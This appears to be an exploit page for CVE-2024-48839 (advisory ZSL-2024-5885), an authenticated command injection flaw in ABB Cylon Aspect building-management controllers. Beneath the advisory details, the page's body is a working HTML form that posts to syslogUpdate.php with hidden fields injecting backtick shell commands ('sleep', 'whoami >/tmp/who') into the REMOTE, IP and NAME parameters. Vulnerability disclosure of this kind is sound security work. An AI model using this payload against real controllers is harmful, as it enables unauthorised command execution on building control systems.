Share
## https://sploitus.com/exploit?id=ZSL-2024-5885
<!DOCTYPE html>
<html>
<!--
ABB Cylon Aspect 3.08.02 (syslogUpdate.php) Remote Code Execution
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.02
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The ABB BMS/BAS controller suffers from an authenticated OS command
injection vulnerability. This can be exploited to inject and execute arbitrary
shell commands through POST parameters, including REMOTE, IP1, IP2, IP3, IP4,
and NAME, called by the syslogUpdate.php script.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5885
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5885.php
CVE ID: CVE-2024-48839
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48839
21.04.2024
-->
<body>
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
ββββββββββββββββββββββββββ βββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββ ββββββββββββ
βββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββ ββββββββββββ
<form action="https://192.168.73.31/syslogUpdate.php" method="POST">
<input name="REMOTE" type="hidden" value="yes`sleep 5`"/>
<input name="IP1" type="hidden" value="192`sleep 1`"/>
<input name="IP2" type="hidden" value="168`sleep 2`"/>
<input name="IP3" type="hidden" value="73`sleep 3`"/>
<input name="IP4" type="hidden" value="31`sleep 4`"/>
<input name="NAME" type="hidden" value="ZSL`whoami >/tmp/who`"/>
<input type="submit" value="ΠΠΆΡΡΠΈΡΠ°Ρ"/>
</form>
</body>
</html>